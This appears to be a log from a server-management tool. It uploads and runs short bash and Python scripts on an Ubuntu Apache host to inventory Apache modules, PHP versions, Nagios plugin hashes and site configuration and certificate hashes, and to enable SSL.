	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-03-02 12:31:07: 

chmod 755 /tmp/pkp184639; /tmp/pkp184639; rm /tmp/pkp184639

2026-03-02 12:31:07: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 2842
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        2842  0.0  0.9 325088 39876 ?        Ss   Feb25   0:39 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-03-02 12:31:07: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-03-02 12:31:07: 

PUT: /tmp/pkp942018

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-03-02 12:31:07: 

chmod 755 /tmp/pkp942018; /tmp/pkp942018; rm /tmp/pkp942018

2026-03-02 12:31:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-03-02 12:31:08: 

PUT: /tmp/pkp397550

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-03-02 12:31:08: 

chmod 755 /tmp/pkp397550; /tmp/pkp397550; rm /tmp/pkp397550

2026-03-02 12:31:08: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.18


2026-03-02 12:31:08: 

PUT: /tmp/pkp478172

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-03-02 12:31:08: 

chmod 755 /tmp/pkp478172; /tmp/pkp478172; rm /tmp/pkp478172

2026-03-02 12:31:08: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-03-02 12:31:08: 

PUT: /tmp/pkp722163

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-03-02 12:31:08: 

chmod 755 /tmp/pkp722163; /tmp/pkp722163; rm /tmp/pkp722163

2026-03-02 12:31:08: 


status=ok


2026-03-02 12:31:08: 

PUT: /tmp/pkp552679

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-02 12:31:08: 

chmod 755 /tmp/pkp552679; /tmp/pkp552679; rm /tmp/pkp552679

2026-03-02 12:31:08: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= 05558524ffbe8024b33d8b6665cadff2
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= db5dea171e8afb4b5779ffdca9cb4efd
MD5(/etc/apache2/sites-available/carelinks_new_net.conf)= 84c5ee5f8727ea3268da64cde6a78cad
MD5(/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt)= b0fd2c81d5635417a6258cb271cfd433
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e7cb713611358774511c94ca2aa83a48
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= dfee5f43b3e9a45fb34ac921e50c889c
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= d3b79dd9fc59cf63e1737d28561a7a66
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= d9097637d9b31eb90b9129a5bd8d3bea
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= e55d027f02e73b96fe9bdd88b1ef1d86
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= a85dc7cc183fa2d8007e8401273f5ee2
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 1becd1767def2f50af8fb56a0d8b6512
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 8343a3afe20cd103bada03a749a7fbde
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= f6a30b59b5586b1761a99768fe72a593
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= 8dd7cc3fc4e74a2e03407fc9e9b68841
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 47979b1695756eacd36fe4c586e2c1c0
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 30a722b761140d4547eebc74bea7468e
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 87e50a46b055da4d29a6b79142b5fd30
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= 5ce08d61cf497ba82cad060210ecb8d7
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= af1d67f9d6107a616da657f093846138
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= ad269349a99011a1d7d72816e0c02e4d
MD5(/etc/apache2/sites-available/exjw_www_org-uk.conf)= 91d46e5b4d3ae47de3464aa15766eaab
MD5(/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt)= 9c66a589c53c8a80e70c2326b3348a42
MD5(/etc/apache2/sites-available/baptizo_www_info.conf)= 328a5caaad75a554798c5f1b364c0d94
MD5(/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt)= 767dae78c2df4f568c9c6ace16907b6b
link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2/sites-available/croydonchurch_www_info.conf
link(/etc/apache2/sites-enabled/maminas_www_info.conf)= /etc/apache2/sites-available/maminas_www_info.conf
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2/sites-available/carelinks_new_net.conf
link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2/sites-available/hostz_mars_org.conf
link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2/sites-available/carelinks_www_org-uk.conf
link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2/sites-available/r-b-c_www_org.conf
link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2/sites-available/carelinks-uk_www_org.conf
link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2/sites-available/vards_www_info.conf
link(/etc/apache2/sites-enabled/pjy_croydon_us.conf)= /etc/apache2/sites-available/pjy_croydon_us.conf
link(/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf)= /etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf
link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2/sites-available/biblebasicsonline_www_com.conf
link(/etc/apache2/sites-enabled/freebible_www_info.conf)= /etc/apache2/sites-available/freebible_www_info.conf
link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2/sites-available/christadelphian_www_video.conf
link(/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf)= /etc/apache2/sites-available/carelinksaustralia_www_info.conf
link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2/sites-available/christadelphianfraternal_www_info.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf)= /etc/apache2/sites-available/hopeinstoughton_backup_org.conf
link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2/sites-available/osnowybiblii_www_info.conf
